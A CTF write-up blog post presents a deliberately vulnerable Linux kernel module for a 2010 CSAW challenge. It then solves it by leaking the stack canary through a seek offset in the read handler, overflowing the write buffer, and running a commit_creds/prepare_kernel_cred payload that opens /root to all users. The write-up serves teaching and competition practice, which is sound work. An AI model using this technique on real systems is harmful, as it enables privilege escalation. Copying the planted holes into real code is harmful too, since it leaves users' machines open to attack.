CSAW CTF 2010 Kernel Exploitation Challenge

Tuesday, November 2, 2010

The finals for NYU Poly's CSAW CTF was this past weekend in New York City. I thought I would post the kernel exploitation challenge I developed for the final round. Feel free to try your hand at solving it!

The Setup

Each team is given unprivileged remote shell access to a Linux VM. There is a vulnerable kernel module (csaw.ko) loaded into memory:

csaw@csaw ~ $ lsmod
Module Size Used by
csaw 1111 0

The kernel module exposes a /proc/csaw interface with which the team can interact with and attempt to exploit the vulnerability contained in the kernel module. Upon successful exploitation and privilege escalation, the team can retrieve the key/flag hidden in the root-readable /root/key.txt file.

csaw.c

The full source code of the csaw.ko kernel module is provided to the team so that they can discover and subsequently exploit the vulnerability. The csaw.c is reproduced in full as follows (and can be downloaded here):

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

Spoiler Alert!

I will provide the solution further down the page, so stop reading right now if you want to try your hand at exploiting the challenge on your own!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

SPOILER AHEAD - STOP SCROLLING IF YOU DON'T WANT TO SEE THE SOLUTION!

The Solution

Ok, that should be enough! Now to the actual solution.

It's quite obvious that there is a vulnerability in csaw_write(). After all, the comment in the source code even comes right out and says that the copy_from_user with an attacker-provided ubuf and count can overflow the buffer on the kernel stack:

if (copy_from_user(&buf, ubuf, count)) {
    printk(KERN_INFO "csaw: error copying data from userspace\n");
    return -EFAULT;
}

An attacker can easily smash the kernel stack by writing a long string to /proc/csaw!

However, as also specified in the comment, the kernel has been compiled with stack canaries, allowing the kernel to detect and panic when a stack smashing attack is attempted. In the case of our challenge, the stack canary has been set to a static value that never changes, but is still unknown to the attacker.

So how can the attacker work around this roadblock? Well, in order to bypass the canary, the attacker needs to know its value so it can smash the stack while maintaining the integrity of the canary. The attacker can try to guess the value via bruteforce methods, but that would be a rather fruitless attempt.

Alternately, the attacker could attempt to discover the canary value through a kernel memory disclosure vulnerability. While kmem disclosures aren't uncommon, the provided kernel was patched up against all publicly-known vulnerabilities at the time of the competition. So let's take a closer look at the csaw.c source code...after all, there's only a handful of lines to audit.

Let's take a look at code in csaw_read():

strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
memcpy(page, buf + off, MAX_LENGTH);

Looks pretty vanilla at first, we're just copying the string to the output buffer page used by the read_proc function. But wait, what is that "buf + off" for? That looks a little suspicious!

Indeed, since the proc interface acts just like a file, it is possible to lseek(2) on the open file description, causing the off variable passed to csaw_read() to be non-zero. If off is non-zero, we'll be memcpy'ing memory back to userspace that is past our buffer on the kernel stack. Guess what's just past our buffer? The stack canary!

So we can dump kernel memory like so:

fd = open("/proc/csaw", O_RDWR);
if (fd < 0) {
    printf("[-] failed to open /proc/csaw\n");
    exit(1);
}

lseek(fd, 16, SEEK_CUR);
bytes = read(fd, buf, sizeof(buf));

printf("dumping memory...\n\n");
print_hex_dump(16, 1, buf, 64, 1);

Compiling and running this exploit results in:

csaw@csaw exploit $ ./dump
dumping memory...

65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
24 24 24 24 4c 3f b9 df 80 6a c2 de 40 00 00 00 $$$$L?...j..@...
68 a1 97 bf f9 8a 04 08 24 53 78 b7 f4 4f 78 b7 h.......$Sx..Ox.

What is that "$$$$" in there?!? Why, it's our stack canary being dumped out!

Once we have the canary, we can perform a trivial stack smash, making sure to overwrite the canary with it's correct cash-money value and then overwriting the return address with the address of our privesc payload mapped somewhere in userspace (see enlightenment's exp_powerglove.c if you're unfamiliar with basic kernel stack smashes).

I chose a very simple chmod payload since we have ksym access and can simply call into any existing kernel functions from our payload:

static void
kernel_code(void)
{
    commit_creds(prepare_kernel_cred(0));
    sys_chmod("/root", 0777);
    sys_chmod("/root/key.txt", 0777);
    return;
}

That's it! The flag contained in /root/key.txt is now yours! During the CTF, only one team (ppp1 from CMU) successfully solved it within the allotted time period. While that might seem low, there were a lot of difficult challenges and not a lot of time to solve them.

Hope you enjoyed it!

Copyright © 2021 - Jon Oberheide